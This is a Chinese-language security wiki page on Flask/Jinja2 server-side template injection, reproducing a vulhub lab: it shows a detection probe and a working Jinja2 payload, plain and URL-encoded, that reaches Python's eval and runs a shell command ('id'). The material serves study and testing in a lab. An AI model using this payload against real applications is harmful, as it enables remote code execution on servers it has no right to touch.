menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 069-jinja2 chevron_right 001-Flask _ jinja2 SSTI 服务端模版注入攻击.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-Flask _ jinja2 SSTI 服务端模版注入攻击.md
    1.73 KB / 2021-07-17 00:01:26
        # Flask / jinja2 SSTI 服务端模版注入攻击
    
    ### 一、漏洞简介
    
    SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题。
    
    ### 二、漏洞影响
    
    ### 三、复现过程
    
    编译及运行测试环境:
    
    
    ```bash
    docker-compose build
    docker-compose up -d
    ```
    
    访问`http://url/?name={{233*233}}`,得到54289,说明SSTI漏洞存在。
    
    获取eval函数并执行任意python代码的POC:
    
    
    ```bash
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    ```
    
    访问
    
    
    ```bash
    http://url:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
    ```
    
    得到执行结果:
    
    ![](images/15890737305807.png)
    
    
    **参考链接**
    
    https://drops.org.cn/Python/flask-jinja2-ssti.html#directory072591889128396616
    
    https://vulhub.org/#/environments/flask/ssti/
    
    links
    file_download